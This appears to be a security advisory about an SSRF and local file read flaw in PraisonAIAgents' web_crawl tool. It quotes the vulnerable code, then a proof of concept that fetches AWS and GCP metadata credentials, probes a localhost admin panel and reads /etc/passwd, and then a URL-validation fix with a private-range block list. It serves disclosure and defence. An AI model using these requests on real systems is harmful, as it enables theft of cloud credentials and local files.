PraisonAIAgents has SSRF and Local File Read via Unvalidated URLs in web_crawl Tool

# web_crawl_tools.py:182-234
def web_crawl(
    urls: Union[str, List[str]],
    provider: Optional[str] = None,
) -> Union[Dict[str, Any], List[Dict[str, Any]]]:
    # Normalize to list
    single_url = isinstance(urls, str)
    # ...
    url_list = [urls] if single_url else urls
    
    # No URL validation whatsoever — urls flow directly to providers
    
    if selected == "tavily":
        results = _crawl_with_tavily(url_list)
    elif selected == "crawl4ai":
        results = _crawl_with_crawl4ai(url_list)
    else:
        results = _crawl_with_httpx(url_list)  # Always-available fallback

# web_crawl_tools.py:140-150
try:
    import httpx
    with httpx.Client(follow_redirects=True, timeout=30.0) as client:
        response = client.get(url)  # Line 143: fetches ANY URL, follows redirects
except ImportError:
    import urllib.request
    with urllib.request.urlopen(url, timeout=30) as response:  # Line 149: supports file://
        content = response.read().decode('utf-8', errors='ignore')

from praisonaiagents.tools import web_crawl

# 1. Cloud metadata theft (AWS IMDSv1)
result = web_crawl("http://169.254.169.254/latest/meta-data/iam/security-credentials/")
print(result["content"])  # Returns IAM role name

# Use the role name to get credentials
result = web_crawl("http://169.254.169.254/latest/meta-data/iam/security-credentials/MyRole")
print(result["content"])  # Returns AccessKeyId, SecretAccessKey, Token

# 2. Internal service probing
result = web_crawl("http://127.0.0.1:8080/admin")
print(result["content"])  # Returns admin panel content

# 3. Local file read (when httpx is not installed, urllib fallback)
result = web_crawl("file:///etc/passwd")
print(result["content"])  # Returns file contents

# 4. GCP metadata
result = web_crawl("http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token")

import ipaddress
from urllib.parse import urlparse

_BLOCKED_NETWORKS = [
    ipaddress.ip_network("127.0.0.0/8"),
    ipaddress.ip_network("10.0.0.0/8"),
    ipaddress.ip_network("172.16.0.0/12"),
    ipaddress.ip_network("192.168.0.0/16"),
    ipaddress.ip_network("169.254.0.0/16"),
    ipaddress.ip_network("::1/128"),
    ipaddress.ip_network("fc00::/7"),
    ipaddress.ip_network("fe80::/10"),
]

_ALLOWED_SCHEMES = {"http", "https"}

def _validate_url(url: str) -> str:
    """Validate URL scheme and block private/reserved IP ranges."""
    parsed = urlparse(url)
    
    if parsed.scheme not in _ALLOWED_SCHEMES:
        raise ValueError(f"URL scheme '{parsed.scheme}' is not allowed. Only http/https permitted.")
    
    hostname = parsed.hostname
    if not hostname:
        raise ValueError("URL must have a valid hostname.")
    
    # Resolve hostname to IP and check against blocked ranges
    import socket
    try:
        addr_info = socket.getaddrinfo(hostname, None)
        for family, _, _, _, sockaddr in addr_info:
            ip = ipaddress.ip_address(sockaddr[0])
            for network in _BLOCKED_NETWORKS:
                if ip in network:
                    raise ValueError(f"Access to private/reserved IP range is blocked: {hostname}")
    except socket.gaierror:
        raise ValueError(f"Cannot resolve hostname: {hostname}")
    
    return url

def web_crawl(urls, provider=None):
    # ... normalize to list ...
    
    # Validate all URLs before fetching
    for url in url_list:
        _validate_url(url)
    
    # ... proceed with provider selection ...